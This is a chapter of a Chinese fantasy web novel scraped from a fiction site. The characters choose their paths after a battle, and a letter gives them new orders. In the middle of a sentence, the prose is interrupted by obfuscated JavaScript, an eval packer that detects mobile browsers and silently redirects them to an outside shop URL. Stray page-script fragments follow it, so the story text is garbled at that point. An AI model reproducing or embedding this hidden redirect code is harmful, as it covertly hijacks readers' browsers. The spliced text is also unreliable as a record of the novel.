文趣网 > 其他小说 > 弈天机 > 61. 天书之外(21)
    “没听过,也不重要。”

    陈禾未对江朔提到暗城的神秘语气发表看法,甚至她的面色自始至终都没变过,只是仰着头,对上江朔的目光:

    “――我只关心,你自己选的是哪个。”

    江朔沉默了一息。

    “……第二个。”

    “为什么?”

    提灯里的火苗跳了好几轮。空气里满是硝烟的余味,以及淡淡的、却不容忽略的野草香。

    这样的气氛下,江朔转过背,对向城里的劫后灯火:

    “有段时间我不太想活,但我知道,自己更不能死……至少在做完我该做的事之前。暗城这个地方,对我自己是坚持下去的理由,对我们、对你们,至少也能代表活下去的力量与资本――尽管很不体面。”

    他说完最后几个字,停了。

    尽管很不体面……

    娄薇不安地沉默了半晌,然后把信收好,给出了自己的答案:

    “我选第一个,九州清晏。我不想被别人当成怪物对待,我……我不要力量,我想体面。”

    江朔点点头,转向陈禾:

    “你呢?”

    陈禾深吸口气,随即斩钉截铁地开了口:

    “我选第二个,暗城。”

    “……”

    寂静。

    娄薇半晌才反应过来,转头望着她,眼神里满是讶异:

    “你疯了?那里听起来真的不像什么好地方――”

    “她说得不错,暗城确实不是什么好地方。”

    江朔再发了话,语气却委婉了很多,带着股劝诫的意味。

    “你的心性和资质都不差,如果去了九州清晏,学那里的功法,十年之内跻身一流修士不是问题……光明正大地活着,不好吗?你没必要和我走同一条路。”

    “――可我只能和你走同一条路!”

    陈禾刹那间拔高音量。

    江朔和娄薇同时愣住了。

    “我有我自己的理由――我杀了人,那晚我听你的,把冯庭灌醉,当时他躺在我床上,睡得很熟。匕首捅进去的时候他惊醒了,眼睛嘴张得很大,趁他来不及发出声音,我拧了一圈,他就死了――这是我第一次觉得,我能用自己的手,为自己做事。”

    “这个地方,可以让我一直拥有这种力量。我不在乎活得累。我已经累了很多年了。但力量……我要很强的力量,我要足够的力量,足够让我不会再被关在屋子里,足够让我不会再被人当成礼物送来送去,足够让我不用跪在下一个冯禄脚边说‘老爷求您放了她’――我要变得足够强,和你一样。”

    江朔听完,沉默了很久。

    “……那里很累,每天都有训练和任务。”

    “没关系,我可以忍。”

    “那里经常流血,吃人不吐骨头。”

    “我不怕,我愿意待下去。”

    “那里能活下来的人……都是怪物。”

    “那我就当个怪物。”

    善辩如江朔,此时都快被她逼到词穷,只是把嘴唇抿了起来:

    “……你还真是铁定了心。”

    “因为你就是这么练出来的。我信你――你是我见过最强的媚骨之人。”

    江朔目光暗了暗。

    “……什么时候看出来的?”

    “见你的第一面。八分之一,不如许家三兄弟的四分之一惹眼,但我认得出来。”

    陈禾一开始还压低了声音里的情绪,到后来却愈发恳切:

    “……求你。我真的愿意――”

    “罢了。”

    江朔平静地打断她,末了噗嗤一声笑了。

    “我还真是坳不过你……这么主动往火坑里跳的人,你是第三个。”

    “第一个是你自己?”

    “是。”

    “第二个是谁?”

    “……这就不重要了。”

    江朔拿起脖颈上系着的短哨,放唇边吹了声,蓝黑大鸟从远方吹来,落在草地上,歪头看了眼陈禾,然后转向江朔,喉咙里发出咕噜咕噜的低鸣。

    江朔拍了拍木叶的脖子,凑近它耳边低声说了几句话,然后退开一步,面对陈禾:

    “你到岷山的暗城言部去,带着木叶去找青芸宛芸两个统领,接下来的事,就看你自己的表现了。”

    “好。”

    木叶展开翅膀,陈禾爬上鸟背,抓住它颈上那圈羽毛,末了又想起什么似的,转头望向地面上的娄薇。

    “你……好好保重。”

    娄薇捏紧手中的信纸,神色复杂,嘴唇张了张,千言万语涌了上来,却只透过几个字。

    “……你也是。”

    时候差不多了,江朔一拍鸟头,蓝黑大鸟振翅腾空,陈禾的鹅黄衫子在夜风中越来越小,最后彻底消失在云层中。

    草地上只剩江朔和娄薇两个人。

    江朔望着陈禾远去的背影,眼底深沉,不知在想什么,等她完全没影了才收回目光,把左手的提灯递给娄薇。

    “灯给你,照着回屋。明日我替你要一匹马,你自己去九州清晏。”

    “好。”

    娄薇接过灯,往前走了几步,又忽地停下了步子。

    “陈禾在那边……会好吗?”

    “这得看她自己的造化――要是她能和你想得一样,那就省心多了。”

    江朔嗟叹一声,没挪步,只是对着娄薇的背影最后喊了句:

    “在九州清晏也要好好学,不过呢,偷点小懒也没事……放心吧,有我的信,山主会罩着你的。”

    *

    两日后日,城主府。

    议事厅比几天前整洁了不少,案上的茶都换了新的,乔师微尝了口,还是从冯府搜刮出来的名贵品种。

    王泰坐在主位上,精神看着比战前还好。

    “这次北安城能转危为安,全仰仗三位仙长。尤其是乔大人,那篇檄文写得真是惊天地泣鬼神——”

    “……冯禄的檄文是他让我写的。”

    王泰笑脸一僵,片刻后满不在乎地挥了挥手:

    “那不重要,重要的是结果。朝廷那边本官自会上表陈情,三位仙长的功劳一件都不会少。”

    孟萌在乔师微身后小声嘀咕了句:

    “……他上表的时候别忘了提自己就行。”

    姜绛偷偷掐了她一下。

    孟萌:“……”

    “对了,”

    王泰从袖子里取出封信。

    “这是淮南今日送到的,指名给三位仙长。三位请过目,我也好交差。”

    乔师微接过信。

    落款是孟钊。

    她当着王泰的面抽出信纸,孟萌和姜绛一左一右挨着她的肩膀,三颗脑袋凑在一起。

    信的开头是例行的问候,简单问了北安城的情况,对三人的处置表示认可。接下来才是正题。

    “北安之事足见边境未靖,暗流潜生。冯氏虽除,然勾结西永之事非孤例,北境沿线多有此类隐患。陛下与我商议后,决定暂不召你们回京,着令你乔师微、孟萌二人继续在外历练,代朝廷巡视北境诸城,察民情、查隐患,遇事可便宜行事。”

    “另,陛下准姜绛同行,不必回宫。但有一条件:须每日作画一幅,记录沿途见闻风物,每月封送淮南呈御览。画不必精,但须如实。风雨无阻,不得间断。”

    姜绛的表情经历了三个阶段。

    “不必回宫”时眼睛猛地亮了,“每日作画一幅”时亮光暗了半截,“风雨无阻不得间断”时全灭了。

    “……父皇这是让我出去玩还是让我交作业?”

    孟萌拍了拍她的肩――力道没掌握好,差点把她拍趴在桌上。

    “两者都

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17856981|208817||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是。你要往好处想——至少你父皇没让你写日记。画画比写字快。”

    “画画要调色、要构图、要晾干,哪里比写字快了。”

    “那你画快点不就行了。别等灵感,灵感不会来帮你交作业。”

    姜绛用一种“你这个建议毫无建设性”的眼神看了孟萌一眼,然后转向乔师微,希望从她那里得到更有用的安慰。

    乔师微正在继续往下翻信纸。

    信纸的最后夹着三张纸条,每张纸条上写着八个字。字迹是孟钊的,墨色比正文略淡。

    她把三张纸条并排摊在桌上。

    “咦,这些东西……”

    第一张:东升青阳,万木逢春。

    第二张:南日芙蕖,灼灼韶华。

    第三张:中原风虎,烈烈长暄。

    孟萌把第三张纸条翻过来看了看背面,空的,啥也没有。

    “这是什么?我爹什么时候学会写诗了?”

    乔师微若有所思,拿起第一张纸条。

    孟钊在淮南给她看过同样的八个字,如今把这三张判词直接寄过来了。

    东升青阳那个是她的判词,其他两个……对应的难道就是她们仨?

    就这么看,发现就来了。她把另外两张纸条分别推到姜绛和孟萌面前:

    “监正不会无缘无故写这些东西。你们看看,各自的名字是不是在里面。”

    姜绛低头看第二张纸条。

    南日芙蕖……

    “父亲母亲和我说过,我将来的字叫映芙。姜映芙。还真是我欸,挺好听的。”

    姜绛把纸条折好,收进袖子里。

    孟萌则盯着第三张纸条念出声来:

    “中原风虎,烈烈长暄。风虎——烈云虎不就是风虎?长暄——我爹说过我的字就是长暄,尽管还没到成年取字的时候呢……不过这听起来是好词,至少不是什么‘中原老虎,迟早闯祸’。”

    乔师微:“……你也知道你迟早闯祸。”

    “闯祸是本事。收拾也是本事。”

    几人在城主府又歇了三天。

    第一天用来统计伤亡、协助赵云礼清点战俘、把冯府抄出来的账本装箱封好。

    许清水的事,是姜绛自请去办的。

    她回来的时候眼眶有点红,但手里拿着一张安置条,上面盖了济贫院的印。

    许清霜和许清露被安排在城东的济贫院,管吃住,到十六岁,姜绛把安置条交给乔师微的时候只说了句“那两个小孩很想他”,然后就跑去忙了。

    第二天,乔师微去了北境军营。

    这次她没去主营见赵云礼,而是到医修的营帐去见江朔。

    出人意料的事,这里的医修是苏衡。

    “乔大人?唉,数日不见,真没想到北安城会出这样的事。”

    二人又聊了几句,苏衡说他在苇城听到北安城出了事就被调过来了。

    “话说这位姓江的兄弟还有些厉害,手伤成这样了还能谈笑风生……”

    “他右手怎么样了?”

    “伤得比想象中的重些,以后可能会有影响……到了,乔大人进去吧。”

    苏衡掀开帘子,躬身告退。

    江朔坐在靠墙的一张窄床上,右臂上了新夹板,正在用左手翻看某本地方志,见乔师微进来,他把书合上搁在床头,朝她点了点。

    乔师微站在门口,好半天才说出话来:

    “……苏衡说你伤得很重?”

    江朔打量着她的神色,

    “说重也不至于……只是嘛,伤筋动骨一百天,就算配合灵力调理,也得恢复一两个月。”

    “他说……还会有后遗症?”

    乔师微找不到委婉的说法,只是勉强把最后几个字说完。

    “哦,不大灵便而已,也不是什么大事……欸,你怎么这个表情?”